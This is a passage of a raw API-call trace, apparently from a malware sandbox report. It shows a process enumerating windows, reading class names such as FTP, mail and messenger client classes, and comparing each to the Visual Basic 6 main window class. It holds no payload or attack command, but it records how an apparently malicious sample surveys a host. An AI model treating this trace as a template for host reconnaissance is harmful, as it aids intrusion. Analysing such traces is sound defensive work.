GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0181.702] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0181.702] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0181.702] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0181.702] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0181.702] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.702] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.702] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0181.702] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0181.702] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0181.702] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0181.702] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0181.702] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0181.702] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.702] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.702] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0181.703] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0181.703] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0181.703] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0181.703] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0181.703] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0181.703] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.703] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.703] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0181.703] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0181.703] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0181.703] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0181.703] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0181.703] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0181.703] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.703] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.703] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0181.703] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0181.703] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0181.703] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0181.703] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0181.703] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0181.703] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.703] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.703] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0181.703] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0181.703] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0181.703] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0181.703] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0181.704] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0181.704] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.704] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.704] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0181.704] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0181.704] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0181.704] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0181.704] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0181.704] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0181.704] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.704] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.704] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0181.704] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0181.704] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0181.704] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0181.704] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0181.704] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0181.704] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.704] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.704] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0181.704] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0181.704] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0181.704] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0181.704] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0181.704] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0181.704] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.704] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.705] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0181.705] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0181.705] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0181.705] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0181.705] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0181.705] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0181.705] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.705] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.705] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0181.705] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0181.705] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0181.705] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0181.705] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0181.705] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0181.705] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.705] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.705] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0181.705] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0181.705] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0181.705] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0181.705] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0181.705] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0181.705] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.705] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.705] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0181.705] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0181.705] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0181.706] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0181.706] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0181.706] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0181.706] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.706] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.706] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0181.706] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0181.706] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0181.706] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0181.706] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0181.706] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0181.706] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.706] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.706] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0181.706] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0181.706] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0181.706] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0181.706] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0181.706] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0181.706] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.706] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.706] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0181.706] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0181.706] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0181.706] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0181.706] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0181.706] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0181.707] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.707] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.707] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0181.707] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0181.707] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0181.707] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0181.707] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0181.707] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0181.707] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.707] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.707] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0181.707] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0181.707] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0181.707] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0181.707] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0181.707] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0181.707] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.707] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.707] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0181.707] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0181.707] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0181.707] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0181.707] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0181.707] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0181.707] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.707] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.707] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0181.708] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0181.708] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0181.708] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0181.708] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0181.708] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0181.708] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.708] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.708] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0181.708] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0181.708] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0181.708] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0181.708] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0181.708] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0181.708] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.708] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.708] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0181.708] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0181.708] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0181.708] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0181.708] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0181.708] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0181.708] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.708] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.708] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0181.708] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0181.708] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0181.708] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0181.709] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0181.709] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0181.709] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.709] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.709] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0181.709] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0181.709] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0181.709] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0181.709] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0181.709] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0181.709] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.709] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.709] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0181.709] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0181.709] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0181.709] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0181.709] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0181.709] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0181.709] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.709] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.709] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0181.709] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0181.709] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0181.709] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0181.709] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0181.709] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0181.709] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.709] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.710] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0181.710] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0181.710] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0181.710] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0181.710] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0181.710] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0181.710] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.710] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.710] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0181.710] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0181.710] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0181.710] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0181.710] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0181.710] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0181.710] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.710] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.710] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0181.710] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0181.710] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0181.710] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0181.710] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0181.710] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0181.710] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.710] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.710] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0181.710] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0181.710] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0181.711] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0181.711] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0181.711] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0181.711] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.711] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.711] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0181.711] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0181.711] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0181.711] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0181.711] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0181.711] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0181.711] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.711] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.711] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0181.711] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0181.711] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0181.711] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0181.711] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0181.711] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0181.711] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.711] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.711] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0181.711] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0181.711] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0181.711] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0181.711] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0181.712] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0181.712] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.712] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0181.712] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0181.712] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0181.712] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0181.712] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0181.712] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0181.712] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.712] 